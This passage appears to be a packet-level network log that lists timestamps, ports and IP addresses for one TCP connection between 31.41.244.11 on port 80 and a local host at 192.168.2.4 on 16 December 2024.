Dec 16, 2024 21:02:44.524977922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.525032043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.525036097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.525074959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.527091026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.527144909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.527209044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.527266026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.531284094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.531357050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.531393051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.531439066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.535492897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.535552025 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.535614014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.535665989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.539700985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.539752007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.539808035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.539853096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.543740034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.543785095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.543880939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.543932915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.547630072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.547699928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.547740936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.547808886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.551528931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.551580906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.551672935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.551806927 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.555176973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.555224895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.555377960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.555521965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.558975935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.559048891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.559076071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.559123039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.562553883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.562618017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.562668085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.562834024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.566061020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.566118002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.566199064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.566251040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.569552898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.569605112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.569623947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.569649935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.573036909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.573092937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.573175907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.573218107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.576513052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.576556921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.576602936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.576648951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.580086946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.580136061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.580202103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.580235958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.583669901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.583724976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.583767891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.583808899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.587025881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.587073088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.587080002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.587115049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.590560913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.590626001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.590732098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.590776920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.594109058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.594156027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.594376087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.594413996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.597651958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.597697020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.597801924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.597841978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.601166964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.601210117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.601250887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.601325035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.604594946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.604645967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.604696989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.604738951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.608151913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.608220100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.608268023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.608302116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.611680031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.611736059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.611778021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.611809969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.615178108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.615278006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.615329027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.618715048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.618783951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.618829966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.618869066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.622195959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.622279882 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.622308016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.622349977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.625730038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.625780106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.625860929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.625906944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.629267931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.629385948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.629443884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.632700920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.632751942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.632817984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.632863998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.636212111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.636261940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.636337996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.636389017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.639677048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.639748096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.717185974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.717238903 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.717283010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.717360020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.718640089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.718694925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.718739986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.718777895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.721201897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.721245050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.721327066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.721388102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.723969936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.724024057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.724062920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.724103928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.726558924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.726629972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.726696014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.726742029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.729135036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.729185104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.729278088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.729338884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.731798887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.731842995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.731868029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.731903076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.734242916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.734286070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.734304905 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.734354019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.736705065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.736752033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.736783028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.736826897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.739144087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.739190102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.739237070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.739275932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.741617918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.741684914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.741698980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.741749048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.743949890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.744014978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.744045973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.744107008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.746284962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.746328115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.746395111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.746440887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.748624086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.748667955 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.748758078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.748806000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.750879049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.750932932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.750978947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.751024961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.753129005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.753175020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.753218889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.753300905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.755422115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.755467892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.755532980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.755585909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.757615089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.757668972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.757746935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.757797003 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.759923935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.759968042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.760154009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.760193110 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.762386084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.762491941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.762507915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.762536049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.764189005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.764235020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.764282942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.764326096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.766359091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.766412973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.766493082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.766531944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.768479109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.768518925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.768610954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.768647909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.770647049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.770723104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.770766973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.770905972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.772826910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.772880077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.772958040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.773000956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.774933100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.775006056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.775073051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.775114059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.777204990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.777286053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.777321100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.777359962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.779284000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.779344082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.779370070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.779381990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.781423092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.781467915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.781543970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.781584024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.783890963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.783943892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.783977985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.784034967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.785667896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.785732031 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.785775900 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.785824060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.787851095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.787894011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.787957907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.788012981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.789999008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.790043116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.790119886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.790172100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.792159081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.792206049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.792227983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.792243958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.794507980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.794553995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.794600964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.794635057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.796467066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.796513081 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.796535015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.796574116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.798640013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.798716068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.798757076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.798796892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.800901890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.800951004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.800992966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.801033020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.802925110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.802980900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.803031921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.803112984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.805155039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.805202007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.805326939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.805424929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.807255030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.807318926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.807389975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.807611942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.809462070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.809520960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.809556007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.809730053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.811583996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.811629057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.811712027 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.811754942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.813729048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.813772917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.813860893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.813901901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.815970898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.816030025 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.816205978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.816257954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.818057060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.818213940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.818216085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.818258047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.820169926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.820214987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.820372105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.820416927 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.822371006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.822429895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.822479963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.822602034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.824517965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.824630022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.824645996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.824687958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.826634884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.826688051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.826704979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.826741934 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.828815937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.828866959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.828932047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.828969955 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.830980062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.831064939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.831101894 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.831115961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.833105087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.833142042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.833177090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.833231926 CET	49842	80	192.168.2.4	31.41.244.11
